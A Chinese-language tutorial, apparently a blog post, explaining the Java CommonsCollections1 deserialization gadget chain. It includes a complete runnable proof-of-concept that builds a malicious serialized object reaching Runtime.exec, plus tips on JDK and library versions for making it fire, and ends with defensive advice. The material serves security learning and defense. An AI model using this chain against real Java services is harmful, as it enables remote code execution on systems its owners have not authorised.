☰
从CC1入门Java反序列化:CommonsCollections利用链完整解析
2026/10/10 6:47:18 网站建设 项目流程

1. 为什么我建议从CC1开始入门Java反序列化

1.1 CC1是什么,解决什么问题

如果你刚接触Java安全,八成会听人提到CC1。CC1就是CommonsCollections1,一条基于Apache Commons Collections库构造的反序列化利用链。它解决的问题很直接:当一个Java应用从网络、文件、缓存等位置反序列化不可信对象时,如何让攻击者输入的一段特殊字节流最终演变成任意命令执行。

不少新手觉得反序列化漏洞很玄乎,其实剥开看只有三件事:找到入口点(哪个readObject方法在读我们的数据)、找到跳板(库里的某个类在方法调用过程中会做危险动作)、找到终点(最终调用了Runtime.exec这类危险方法)。CC1这条链恰恰把这三件事展示得最清晰,组件少、链路完整、调试方便,所以拿它当第一篇再合适不过。

我第一次分析这条链时,最大的感触是:原来漏洞不一定要求开发人员写了"危险代码",很多时候是"安全的基础库"和"不安全的反序列化入口"组合在一起,碰出了火花。这也是为什么后来分析各种框架漏洞时,脑子里始终要有"gadget思维"——你不要只看业务代码里有没有漏洞,还要看依赖库里的类能不能被串起来。

1.2 反序列化漏洞的最小模型

反序列化是什么?简单说,Java对象要跨网络传输或者在本地持久化,通常会实现Serializable接口,然后通过ObjectOutputStream写入字节流,需要的时候用ObjectInputStream.readObject()把它还原成对象。问题就出在这个"还原"过程:如果字节流是攻击者精心构造的,那么readObject()不只是在恢复数据,它可能触发一连串的类方法调用。

举个生活类比。快递包裹本身没问题,但包裹里的机械玩具内部藏了一根弹簧,开箱时只要你按某个按钮,弹簧就会连着一串齿轮最终触发机关。反序列化漏洞就是这样的"开箱机关":readObject()是开箱动作,每个类的readObject()方法、Map的get()/setValue()方法,都可能是齿轮。攻击者要做的,就是在字节流里把这组齿轮按特定顺序组装好。

这个最小模型里,最关键的跳板通常是Map接口的实现类。因为很多类的readObject()逻辑里会遍历一个Map字段,而我们完全可以通过反射把这个Map替换成自己选择的实现类,比如TransformedMap、LazyMap。它们会在读写元素时偷偷调用一个Transformer,这条线就是我们后面要重点拆解的。

2. 先把Commons Collections里三个"积木"认识清楚

2.1 Transformer接口与ChainedTransformer

Commons Collections里有一个非常不起眼的接口Transformer,它只有一个方法:

public interface Transformer { public Object transform(Object input); }

任何一个类,只要实现这个接口,它就能在某个时机接收一个输入对象,经过内部逻辑处理后返回一个输出对象。单独看它没什么威胁,但库的作者提供了一个组合类ChainedTransformer,它的作用是把一组Transformer串联起来,前一个的输出自动作为后一个的输入:

public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }

这一下子就有意思了。我们可以把多个"小操作"串成"流水线":输入任意对象,第一步变成A,第二步把A变成B,第三步再变成C。只要每一步在反射层面做一点点事,整条流水线就可能从"一个普通对象"变成"一次命令执行"。

刚开始学的时候,我建议你亲手打印每一步的中间结果。不要只盯着代码看,实际跑一遍,你才能真正理解"为什么前一个transform的返回值是后一个的输入"。

2.2 InvokerTransformer:把方法调用变成配置项

如果说ChainedTransformer是流水线,那InvokerTransformer就是流水线上最危险的那个机械臂。它的构造方法接收三个参数:方法名、参数类型数组、参数值数组,核心逻辑是通过反射对输入对象调用指定方法:

public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }

注意,它调用的方法名和参数都是我们自己传入的,也就是说"对谁调用什么方法"完全可控。如果输入对象是Runtime类对象,我们让它执行exec("calc");如果输入对象是Class对象,我们可以让它执行getMethod("getRuntime", ...)。这样一个普通的Transformer类,由于反射能力太强,就成了攻击链里的核心发起点。

这里有个新手容易忽略的细节:Method.invoke()的第一个参数是"调用者对象",如果是静态方法,调用者对象可以传null。比如Runtime.getRuntime()是静态方法,反射时第一个参数传null就合法。我们在构造链条时,必须清楚每一步的输入是什么类型的对象,否则反射会在运行时报NoSuchMethodException或IllegalArgumentException。

2.3 一条命令执行的Transformer链

现在把积木搭起来。目标是:任意输入一个对象,最终触发Runtime.getRuntime().exec("calc")。拆解一下:

  1. 先用ConstantTransformer固定返回Runtime.class,保证流水线第一步的输出是我们想要的Class对象。
  2. 第二步用InvokerTransformer调用Class.getMethod("getRuntime", null),拿到getRuntime方法的Method对象。
  3. 第三步继续用InvokerTransformer调用Method.invoke(null, null),因为getRuntime是静态方法,调用者传null,这一步得到真正的Runtime实例。
  4. 第四步再调用Runtime.exec("calc"),命令执行完成。

组合起来就是下面这段代码:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class ChainDemo { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform("随便什么输入都行"); } }

运行这段代码的前提是有commons-collections依赖,且环境是Windows系统(calc是计算器命令)。Linux/Mac可以换成xcalc、touch /tmp/cc1_test之类的命令来验证。注意,exec方法对带空格的命令处理比较挑剔,比如touch /tmp/cc1_test这种不含空格的命令可以直接传字符串,如果命令里有空格,exec会把整段当成一个可执行文件名,通常会报错,这种情况需要传字符串数组,逻辑上会更绕,入门阶段先避开。

我第一次跑通这段代码时,Windows弹出了计算器,那一刻对整个反序列化漏洞的理解立刻从"背书"变成了"动手"。强烈建议你也实际跑一遍,哪怕只是弹个计算器,这个正反馈对学习动力很重要。

3. TransformedMap 与 LazyMap:触发点在哪

3.1 TransformedMap的写时变换

有了Transformer链还不够,我们还需要一个"触发点"——也就是在反序列化流程里,究竟哪里会主动调用chain.transform()。Commons Collections里有两个现成的Map包装类,专门干这种事。

第一个是TransformedMap。它通过decorate方法包装一个普通Map,后面两个参数分别是keyTransformer和valueTransformer,可以对写入的键和值进行变换:

Map innerMap = new HashMap(); Map transformedMap = TransformedMap.decorate(innerMap, null, transformerChain);

当给transformedMap写入一个键值对时,key和value都会先经过Transformer处理再放进Map。更关键的是,TransformedMap内部有一个实现了Map.Entry的静态内部类MapEntry,它的setValue()方法也会触发valueTransformer:

public Object setValue(Object value) { value = parent.valueTransformer.transform(value); return entry.setValue(value); }

这就成了后续CC1利用的核心:只要反序列化过程中有人对TransformedMap里的某个Entry调用setValue,整条Transformer链就会被点燃。你得记住这个特性,后面分析AnnotationInvocationHandler时会原样用上。

3.2 LazyMap的读时变换

第二个常见触发点是LazyMap。它同样通过decorate包装一个普通Map,但逻辑变成了"读时变换":

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

当你调用lazyMap.get(key),如果key在Map里不存在,LazyMap会调用factory.transform(key),把变换结果放进Map并返回:

public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

LazyMap的最大特点是:触发条件是get一个不存在的key。这比TransformedMap的put/setValue触发更隐蔽,也更适合在复杂链中做"延迟爆炸"。

很多讲CC1的文章会把TransformedMap和LazyMap混着讲,新手很容易糊涂。我的建议是:先把TransformedMap这条线彻底搞懂,因为它的触发点在AnnotationInvocationHandler里是直来直去的;LazyMap虽然社区里用得更广,但通常要配合动态代理,理解门槛高一个台阶。

3.3 为什么CC1更常用LazyMap

你可能会问:既然TransformedMap触发逻辑更直白,为什么后面看各种公开分析文章,CC1的POC反而总出现LazyMap?

原因在于AnnotationInvocationHandler的readObject在不同的JDK版本里行为不一样。早期版本(JDK 7、JDK 8u71之前)里,readObject会对memberValues的每个Entry做遍历,并且调用entry.setValue(),所以TransformedMap能接上。而另一个更通用、几乎不受环境影响的玩法,是利用AnnotationInvocationHandler作为InvocationHandler,通过动态代理把对entrySet()的调用转运成LazyMap.get("entrySet"),因为每次代理方法调用都会走进invoke(),而invoke()里正好有memberValues.get(member)这样的调用。

一句话总结:LazyMap版本可以在新JDK上继续用,TransformedMap版本则天然受限于老JDK。但作为第一篇入门,我的建议依然是先啃TransformedMap版本,因为它的源码路径最短,没有动态代理这层"魔法"干扰,你能清清楚楚看到每一步谁调用了谁。等这条线刻进脑子里,再去看LazyMap版本,你会发现只是换了个触发入口,Transformer链本身完全一样。

4. sun.reflect.annotation.AnnotationInvocationHandler里的readObject

4.1 readObject逐行拆解

现在找到了触发点,还差一个"反序列化时一定会被调用某方法"的入口类。JDK自带了一个类sun.reflect.annotation.AnnotationInvocationHandler,它是Java注解代理机制的一部分。这个类实现了InvocationHandler和Serializable,构造函数接收两个参数:注解类型Class<? extends Annotation>和一个Map<String, Object>类型的成员值表。

关键就在它的readObject()方法。在JDK 8u71之前的版本里,简化后的核心逻辑是:

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null; if (annotationType != null) { Map<String, Class<?>> members = annotationType.members(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = members.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!memberType.isInstance(value) && !(value instanceof ExceptionProxy)) { memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(...)); } } } } }

注意最后那个memberValue.setValue()。如果memberValues字段被我们替换成TransformedMap,那么这一步就会触发TransformedMap.MapEntry.setValue()里的valueTransformer,进而引爆Transformer链。

这里有一个绕不开的细节:你选择的注解类型必须要有成员,并且memberValues里的key必须正好是这个注解的成员名,这样memberType != null才会成立并进入setValue分支。很多人第一次写POC时顺手用了Override.class,结果反序列化后没有任何反应。Override注解没有任何成员,members是空的,循环里永远进不了setValue,链子自然就断了。正确的选择是Retention.class或Target.class,它们都有名称为value的成员。

4.2 为什么必须限制在JDK 8u71之前

很多入门文章会贴一句"JDK 8u71之前可用",但很少解释为什么。其实原因就在源码的演化史里。

在JDK 8u71之后,Oracle修改了AnnotationInvocationHandler.readObject()的实现,不再直接遍历memberValues.entrySet()并调用setValue,而是对成员值做了更严格的类型校验和拷贝。原来的触发分支被整体移除,TransformedMap这版CC1在老方法里赖以生存的setValue调用点就消失了。

从安全研究的角度,这个改动说明一个道理:Java官方堵洞往往不是把类删掉,而是削弱某个方法的副作用。我们学习历史版本里的链子,不是为了咒骂"为什么不修复更早",而是要理解修复前后源码的变化——这种"diff式学习法"能让你很快抓住反序列化链的本质。

我个人的建议是:本地验证CC1时,用JDK 8的早期版本,比如8u45或8u60,这是最稳妥的。不要用JDK 7也完全没问题,但如果只是想跑通,JDK 8早期版本更容易搭环境。

4.3 完整调用链图景

把前面几部分拼起来,TransformedMap版CC1从反序列化到命令执行的完整过程是这样的:

  1. ObjectInputStream.readObject()恢复AnnotationInvocationHandler对象。
  2. AnnotationInvocationHandler.readObject()读取字段,memberValues被还原成一个TransformedMap。
  3. 进入for循环遍历memberValues.entrySet(),对Retention注解的value成员做类型检查。
  4. 因为存储的value类型不是预期的RetentionPolicy,代码进入setValue()分支。
  5. TransformedMap的MapEntry.setValue()调用valueTransformer,也就是我们构造的ChainedTransformer。
  6. ChainedTransformer逐个执行ConstantTransformer -> InvokerTransformer -> InvokerTransformer -> InvokerTransformer。
  7. 最终执行Runtime.getRuntime().exec("calc")。

每一步都像一个齿轮紧紧咬住下一个,任何一环断了,整个链子就失效。这也是为什么CC1适合入门——它让你直观体会到"可控输入沿着对象图流动"的整个过程。

5. 手写一个能跑的CC1 POC

5.1 环境准备

如果你本地还没有Java环境,先把JDK 8早期版本装好。版本选择上,8u60左右都是比较理想的实验版本,之后你还可以装一个较新的JDK做对比实验,亲眼看链子在8u71之后是怎么静悄悄失效的。

依赖方面,用commons-collections3.1或3.2。项目里如果用的是Maven,加入:

<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2</version> </dependency>

注意groupId不是org.apache.commons,老版本的groupId就是commons-collections。如果已经引入了4.x版本,包名和类结构差别很大,CC1的类路径对不上,需要先换回3.x。4.x不是不能用,但它不是这条经典CC1链的目标形态,入门阶段别给自己加戏。

5.2 完整代码

下面这版POC我尽量写得贴近"可运行"而不是"极短"。注释里说明了每一步的意图:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CC1POC { public static void main(String[] args) throws Exception { // 1. 构造Transformer链:固定返回Runtime.class -> getMethod -> invoke -> exec Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); // 2. 准备一个普通Map,并先放入一个"value"键 Map innerMap = new HashMap(); innerMap.put("value", "任意非RetentionPolicy类型的值"); // 3. 用TransformedMap包装,valueTransformer设置为我们的恶意链 Map transformedMap = TransformedMap.decorate(innerMap, null, transformerChain); // 4. 反射获取AnnotationInvocationHandler,创建实例 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true); // 类型参数:Retention注解 + 恶意TransformedMap Object handler = constructor.newInstance(Retention.class, transformedMap); // 5. 序列化handler对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler); oos.close(); // 6. 反序列化触发 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); ois.readObject(); ois.close(); System.out.println("POC执行完成"); } }

5.3 运行现象与验证思路

运行这个POC,正常情况下Windows系统会直接弹出计算器。如果你在IDE里跑,看到计算器弹出来基本就成了;如果看不到弹窗,先不要怀疑链子错了,优先检查命令本身是否可弹窗。我建议你把"calc"改成"cmd /c start calc"这样带空格的命令时,记得exec的参数要是字符串数组,这里会涉及新的InvokerTransformer调用,可以先不急。

一个更可控的验证办法是:把最后一步exec的命令换成一个没有空格且效果明显的命令,比如在Linux上用xcalc,或者用touch /tmp/cc1_ok。然后检查对应文件是否存在。这样不会弹出GUI窗口,适合在远程环境或无图形界面的服务器上做验证。

我在这个POC里有意识地把innerMap.put("value", ...)放在TransformedMap.decorate之前,就是为了避免构造payload的过程中提前触发Transformer链。如果你直接把transformedMap.put("value", ...),那么在准备payload的阶段就会弹出计算器,这会带来一个很大的困惑:你分不清到底是反序列化触发的,还是构造过程中的副作用。写POC时保持"构造不触发、反序列化才触发"的原则,能让你调试起来心里有数。

6. 实际调试中踩过的坑

6.1 用了新JDK,链子静悄悄

这个坑绝对是第一名的。很多新手照着文章抄完代码,点了运行,结果一片安静。最大概率的原因就是JDK版本太高,AnnotationInvocationHandler.readObject里已经没了setValue触发点。

我当时排查的思路是这样:先在反序列化前的每个关键方法调用处打日志,确认Transformer链本身能正常工作。最简单的方法是把transformerChain.transform("test")直接在main方法里调用一次,看计算器能否弹出。能弹,说明链本身没问题;不能弹,说明依赖或命令本身有问题。如果链本身能弹,但反序列化后不弹,就要怀疑入口类版本了。这时候切换JDK 8u60之类的老版本,问题往往立刻消失。

6.2 注解类型选错,setValue永远不触发

第二个高频坑是注解类型。AnnotationInvocationHandler.readObject里有个前提:memberValues.entrySet()中的key必须是注解类型实际存在的成员名,否则memberType == null,代码根本不会走到setValue分支。

我看到很多新手用Override.class跑不出效果,然后开始怀疑是不是反射没写对。其实Override注解没有任何成员,你给memberValues塞什么key,读出来都是null,永远也触发不了。换成Retention.class或者Target.class,并且把key命名为"value",一次就跑通了。这个细节充分说明:阅读源码时不要只看一遍,要把members()的调用结果也放进脑图里。

6.3 依赖版本不对,反序列化报一堆ClassNotFound

AnnotationInvocationHandler是JDK自带的,但TransformedMap、ChainedTransformer这些类全在commons-collections里。如果你的运行环境只部署了序列化字节流,却没有对应的库,反序列化时会抛ClassNotFoundException。实际漏洞利用时,攻击者会专门找已经加载了Commons Collections的目标应用;本地实验时,则要确保classpath里有3.1/3.2的jar包。

另外,Commons Collections 3.2.1之后,官方对部分危险的Transformer类做了安全性加固,直接反序列化InvokerTransformer可能被拦截。所以本地实验时尽量锁死3.1或3.2版本,不要在版本上追求"最新"。理解原理之后,你会看到后面很多链子用InstantiateTransformer等类绕过了这种拦截,但那属于进阶内容了。

6.4 反射构造时setAccessible失败

在较新的JDK里,对sun.reflect.annotation.AnnotationInvocationHandler这种内部类做setAccessible(true)可能抛InaccessibleObjectException。遇到这个,优先确认自己确实在用JDK 8早期版本。如果你非要较新JDK不可,几乎都会卡在这个地方,这就是版本太新的另一个信号。

如果只是本地做个学术验证,我强烈建议你准备一个专门的JDK 8早期版本,配合Maven里固定3.2版本,彻底屏蔽这些版本干扰。

7. 这个链子带给我的防御思考与后续路线

7.1 从CC1反推防御手段

分析完一条攻击链,回头再看防御会特别清楚。CC1能成立有三个前提:应用存在反序列化入口、classpath里有Commons Collections、JDK版本没修复AnnotationInvocationHandler的触发点。对应的防御思路就顺理成章了。

第一,从根源上减少反序列化不可信数据。能用JSON、Protobuf这些明文或结构化的数据格式,就不要用Java原生序列化去接收外部输入。很多中间件和RPC框架仍然依赖原生反序列化,所以这个建议在实际落地时阻力不小,但确实是性价比最高的方案。

第二,依赖库升级。把Commons Collections升到3.2.1以上,或者迁移到4.x分支,都能显著增加利用难度。升级后的库并不保证一定堵死所有链子,但它能让你摆脱最容易利用的那几条经典链,很多自动化工具打到一半就哑火了。

第三,如果反序列化入口实在无法关闭,可以借助JEP 290提供的ObjectInputFilter做类白名单或黑名单过滤。把TransformedMap、LazyMap、AnnotationInvocationHandler这类高危类直接拉黑,能挡掉一大批已知gadget。

这些都是我在本地复现CC1之后才真正理解透的。以前看防御文章,总觉得"升级版本"是一句正确的废话;等自己亲手把链子跑通,才明白升级到底切断了哪个具体环节。做攻防研究时,先当攻击者,再回头看防御,视角完全不同。

7.2 下一步可以研究什么

CC1只是反序列化世界的第一块拼图。等你完全吃透它,后面还有好几步可以走。

首先是LazyMap版本。理解LazyMap.get触发逻辑后,结合Java动态代理重看CC1,你会发现AnnotationInvocationHandler既是入口类,又是代理转发器,双角色设计让整条链变得极其优雅。这是CC1里最精华的部分,值得单独花时间攻克。

其次是同库不同链的横向对比。Commons Collections里还有很多其他组件可以作为跳板,比如InvokerTransformer被版本修复之后,社区又陆续拿出了新的利用类。你会有意识地去研究"一个库被修了某个类之后,还有哪些类可以组合成新链"。这种思维模式,才是Java安全里真正值钱的东西。

最后是结合实际框架练手。很多Java中间件、RPC框架都有过经典的反序列化漏洞,环境允许的话,在自己搭的靶场里复现一遍,会比单纯刷文章印象深得多。不要拿公网系统测试,这不是技术问题,是底线问题。

CC1这条链给我最大的收获并不是"会弹计算器了",而是让我建立了分析任何反序列化漏洞的固定套路:入口、触发点、Transformer链、版本约束,四件事想清楚,漏洞在你面前基本就是透明的。希望你也能从这条经典链出发,把Java安全这条路走扎实。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询